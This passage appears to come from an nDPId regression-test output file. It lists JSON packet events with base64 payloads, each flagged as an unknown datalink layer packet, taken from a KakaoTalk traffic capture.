packet","thread_id":0,"packet_id":2856,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2857,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":703253,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChoA0AAQAZvfAoYUryt\/FiA6jIBuzJ1sXljz56FUBA2sGNrAAA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2857,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00670{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2858,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":712958,"pkt_caplen":272,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":272,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAQBoBEAAQAZuowoYUryt\/FiA6jIBuzJ1sXljz56FUBg2sOucAAAWAwEA0wEAAM8DAVU9H9uNfuN6igTtfCsi5UGJAGu+tBUa6vvxV3L7s6crIN7mSkHwum5YAkPf9F1sC8Q73hXOE4o3oouZE9fRYbaoAEYABAAFAC8ANcACwATABcAMwA7AD8AHwAnACsARwBPAFAAzADkAMgA4AArAA8ANwAjAEgAWABMACQAVABIAAwAIABQAEQD\/AQAAQAALAAQDAAECAAoANAAyAA4ADQAZAAsADAAYAAkACgAWABcACAAGAAcAFAAVAAQABQASABMAAQACAAMADwAQABE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2858,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2859,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":716864,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/w6SAbDPffrLww1SapdohweKykFeOvgbtiwqo7iF+xlRHgiYjcfybLAY1+1Sku0\/2Nd9kerefkN+h"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2859,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00595{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2860,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":731970,"pkt_caplen":215,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":215,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMcAAEAAPxHa2woYUrwByQGuLDhaBACztImAbFFZi0OPGguGVRnkQUl+37ULimtJIAmWyGmjYzCeGYg5FsjEJSGHBvDEv7qKK8dJtLIP7w2pFZ3wAcx+\/1MFvlZZls3AflSgiM5FkUuXLfZoNaVLdmbcynVTHB2UYRSH1S6dYTVp+BgTYOhKJ\/qaXqOI5fED9zMeIGwY\/+3zTXYGahhzNhu4dzi2RnUJ3KoGa3SRl0pjySd6xEC4fjkGi2NS4pi3SZXgtE8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2860,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00549{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2861,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":743506,"pkt_caplen":183,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":183,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKcAAEAAHBH90wHJAa4KGFK8WgYoHACT5S+AbFFVi0OAGguGVRlPxWpuEko3CPBCw7G4S8DXGTM9GYQzDcJE6wBTHgOeax\/dnKq1clNqtx97qJrq8G0LxZtniV5gLiSPwUfdyy1jOSLXO1siTBvMoVhl3CoHX0Mlt2UW6vcb6tKbPiljPISG8QL3L5BPqzL8Bu2nErkRPU5w1HvGgCOB+kNX3lI0"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2861,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00500{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2862,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":748511,"pkt_caplen":145,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIEAAEAAHBH9+QHJAa4KGFK8WgYoHABtELeAbFFWi0OD2guGVRnAms4ROvmtfbYZRcamHqlAAtH8izYRl2Um9x99Wqy3kAtgEzBbzJqJJeA+hsPPC8tbksAqT3NMmQNoV2kOO5DFEYnj2BSbGdIZjl8VfQmD4jz0NZmOz8dIgg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2862,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2863,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":759558,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/vXmAbDPcfrLlg1SapdpwluhRG2IJusv6a+Xm3DVk8OhC9JMM5ZLEvqBOjs\/u6f+3RgGlou+7BPoH"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2863,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2864,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":795264,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACwAAEAAjgaJe638WIAKGFK8AbvqMmPPnoUydbF5YBClZMLnAAABAQEB"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2864,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2865,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":799109,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/A16AbDPdfrLpQ1SapdpH9cLNDvlDiKwDjui9a\/BalIBhKbpMXKeLfRZvrFsu\/5sHCgKlIj0fsKz3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2865,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2866,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":819647,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ypqAbDPgfrL0g1SapdoYHm34j1qj1Kzdfl6xca489wC7JKcxmhFu+015sgmy70IlUpgmY8ur7Ztj"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2866,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00607{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2867,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":827796,"pkt_caplen":223,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":223,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAM8AAEAAPxHa0woYUrwByQGuLDhaBAC7BvqAbFFai0OS2guGVRk6wiyHoyDRGZOHE31nNvinOQGOtaowmSTBcjeWMvLqS\/etLKIkmpNXYsjclxlmNzuDaiWpUZdEJkiNY\/znR99fUsAAQtOZqK0UPDIFkn+V8j4LNvwCD7IRduN5JOMkH3eW6pGPO2rO1XUJPYOxqXH3v4RsTBZKE5lkyN2Qv\/lhWbb7ihTcdKi6zzwxrSJXHrTWwGnfYxR1cJbJexXrrfclP6ZJK5mBSg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2867,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00585{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2868,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":829901,"pkt_caplen":209,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":209,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMEAAEAAPxHa4QoYUrwByQGuLDhaBACtGPaAbFFbi0OWmguGVRn38g58e8KGLg1D7gUwx5kaS1+pt9osVmYXvWKzjbr61zvy8vldkDaYsZ0MeyEv228II4r6gjSod0jFAaoo89s2LfeeEWdgtFJ3qlDXNwJcFEVcaL+i9jk5P96qQHucC8trvxLIuuWpGqRVSJw9eBFG35404tSH8ntxjyzqHAcGI5GEjNnq9pyoWnlm8bxBXwG\/q5dk18bnX5g="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2868,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00464{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2869,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":843116,"pkt_caplen":118,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGYfywAANRH9Kwq8AQEKGFK8ADVihwBSfKJimIGAAAEAAgAAAAAEbXF0dAhmYWNlYm9vawNjb20AAAEAAcAMAAUAAQAABNAACwRtcXR0A3Z2dsARwC8AAQABAAAAAQAErfxhAg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2869,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2870,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":861243,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/YZSAbDPhfrL4Q1SapdpfM9T5mWj7vBNaaiYXhBkI6oHStC3B1WWT\/icibDtd21Mmimdd+TKLx62j"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2870,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00566{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2871,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":871100,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALMAAEAAHBH9xwHJAa4KGFK8WgYoHACffmOAbFFXi0OHmguGVRlcArMyABPKxKXH4+XhSg5elqjEYg5cqRDqSR1HaHulgCYvHsfrNsAmVihdQlWOfQFvyuxCS4otnbsP1we8foJNCAHy1p1PlUeJ6Bf69gNUYvckbyQudxfoDc\/pTuHsy2YvbgZcAe6g7nJMIioA++CSt6eC7YK4hFQgEFQpi4fP\/VuKRD56JWhAzcCm"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2871,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2872,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":898505,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/tI2AbDPifrL8A1SapdrQ7OmPW3Tz38+asUR9ohBT3ek42v19leJu0fGHmWKUh83UB2x77Tq5uQSp"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2872,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2873,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":899176,"pkt_caplen":153,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":153,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIkAAEAAHBH98QHJAa4KGFK8WgYoHAB1M86AbFFYi0OLWguGVRlUlzQuRBa5Zi2Ykg2qIgUWg8iAE\/zeJNXhPerKwjO7lQ6l42Zm4oFx+U\/fuv33Eb4evnJLJtDrC55i5UPQZDIqY5zW6ICeijyVyNriGBei50NsYoeTV6OMgzzawRW1e3ES"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2873,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2874,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":911353,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgKNUAAjwZ+Sq38WIAKGFK8AbvqMmPPnoUydbJRUBCkjNTtAAA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2874,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00541{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2875,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":933020,"pkt_caplen":176,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":176,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKAAAEAAPxHbAgoYUrwByQGuLDhaBACMTxaAbFFci0OaWguGVRmVcWaHqAMiMyp9UfVgYoOYE72eEvmi0sCmpx+f3faJBJW8izY4z3k2xP31X2qq9xoztYHsAfzOypsJ8RJ\/n9tFSOVIYCZgJxrQeqBWdNBUteCNE7tmDHl2qRVaw67Aj4xUvpgLq7Cj2VdFzAeM32wDLgPT12kvUAE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2875,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00550{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2876,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":935248,"pkt_caplen":181,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":181,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKUAAEAAPxHa\/QoYUrwByQGuLDhaBACR0qeAbFFdi0OeGguGVRl7mieiHb1BXsPXzsNEf\/doBRMe+9ELxVoJ+Ly1Tqec5xD8OMTHI6zfnXKY89QTzRsljALGcvyzUxCqzeFHUekKnyimLjGRJ6UE34ibi3Upb46+k8X5B9anpehSJsx1vE3ZNnFDq60Gyj8R9deMNxdiELwFl5snas+hQmBvcg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2876,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2877,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":947333,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/DemAbDPefrLtA1SapdqtwLTTaf+NQoPAdZqXsMOc9Psk41J1BwH4FaWAL8cw5zu4+BhoR0fLT4yd"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2877,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2878,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":3974,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/PjGAbDPjfrL\/w1Sapdoqcx+gojqg8tA6NkEZfuiV07\/FVJoEXgvPi0i\/iQKhjzlGpqP54xDYHB5B"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2878,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2879,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":7453,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/v4qAbDPffrLww1SapdohweKykFeOvgbtiwqo7iF+xlRHgiYjcfybLAY1+1Sku0\/2Nd9kerefkN+h"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2879,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2880,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":29608,"pkt_caplen":147,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIMAAEAAPxHbHwoYUrwByQGuLDhaBABvxuaAbFFei0Oh2guGVRmlO\/4pWLFisVCEGjQk+AU6uV0zmaIo3Wgif0Q\/lUSvyZJtZrtvVVccSvT7QDCDVkTW68+n5k2QgXaQSFGD+8t2tIVkZKr+fHWkdr8xqI\/RdP+pvMiJ+OkJ8kHu"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2880,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2881,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":43647,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/NjOAbDPkfrMDg1SapdrRj9OCK+PkfaJAyhziHB9HW31LYw6g0ItCe3NgIUcqC1Kg0oxfCp6A9Kr0"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2881,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2882,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":85059,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/SdOAbDPlfrMHQ1SapdrCUgUUmPrOlEVYcn8xbfHaGzhoB9MLMeWiGmT+Dna3ilbfSLvhoFMmTrAc"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2882,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00594{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2883,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":99189,"pkt_caplen":215,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":215,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMcAAEAAHBH9swHJAa4KGFK8WgYoHACzuKOAbFFZi0OPGguGVRnkQUl+37ULimtJIAmWyGmjYzCeGYg5FsjEJSGHBvDEv7qKK8dJtLIP7w2pFZ3wAcx+\/1MFvlZZls3AflSgiM5FkUuXLfZoNaVLdmbcynVTHB2UYRSH1S6dYTVp+BgTYOhKJ\/qaXqOI5fED9zMeIGwY\/+3zTXYGahhzNhu4dzi2RnUJ3KoGa3SRl0pjySd6xEC4fjkGi2NS4pi3SZXgtE8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2883,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2884,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":110022,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/xoCAbDPgfrL0g1SapdoYHm34j1qj1Kzdfl6xca489wC7JKcxmhFu+015sgmy70IlUpgmY8ur7Ztj"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2884,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2885,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":128089,"pkt_caplen":119,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":119,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGcAAEAAPxHbOwoYUrwByQGuLDhaBABThE+AbFFfi0OlmguGVRmjV6DyKPFYokIxrbctM1aosR+PxZRCp5HgSqIqjUAF051X24P5jTF3vbtO4he6ldnBOX80XMvFIewI\/cXdBd4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2885,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00480{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2886,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":129401,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHIAAEAAPxHbMAoYUrwByQGuLDhaBABeFo+AbFFgi0OpWguGVRnvtiun2fmxautmkegFEKV2oKm0yKMK6UbpJyEMvfGhD7crhsKSnH73viNCAGnwFfilG0SVJbR+pvqWY9dVik9VPyz6HPOwpNBOzA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2886,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00607{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2887,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":163245,"pkt_caplen":223,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":223,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAM8AAEAAHBH9qwHJAa4KGFK8WgYoHAC7CxSAbFFai0OS2guGVRk6wiyHoyDRGZOHE31nNvinOQGOtaowmSTBcjeWMvLqS\/etLKIkmpNXYsjclxlmNzuDaiWpUZdEJkiNY\/znR99fUsAAQtOZqK0UPDIFkn+V8j4LNvwCD7IRduN5JOMkH3eW6pGPO2rO1XUJPYOxqXH3v4RsTBZKE5lkyN2Qv\/lhWbb7ihTcdKi6zzwxrSJXHrTWwGnfYxR1cJbJexXrrfclP6ZJK5mBSg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2887,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00585{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2888,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":167151,"pkt_caplen":209,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":209,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMEAAEAAHBH9uQHJAa4KGFK8WgYoHACtHRCAbFFbi0OWmguGVRn38g58e8KGLg1D7gUwx5kaS1+pt9osVmYXvWKzjbr61zvy8vldkDaYsZ0MeyEv228II4r6gjSod0jFAaoo89s2LfeeEWdgtFJ3qlDXNwJcFEVcaL+i9jk5P96qQHucC8trvxLIuuWpGqRVSJw9eBFG35404tSH8ntxjyzqHAcGI5GEjNnq9pyoWnlm8bxBXwG\/q5dk18bnX5g="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2888,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2889,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":178595,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/sHOAbDPmfrMLA1SapdpqBW5EatWMK1g+rzk8YogHNPY1nr0oyJ96v+k6nOJ90FKeGtG\/sIJTC2Zv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2889,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 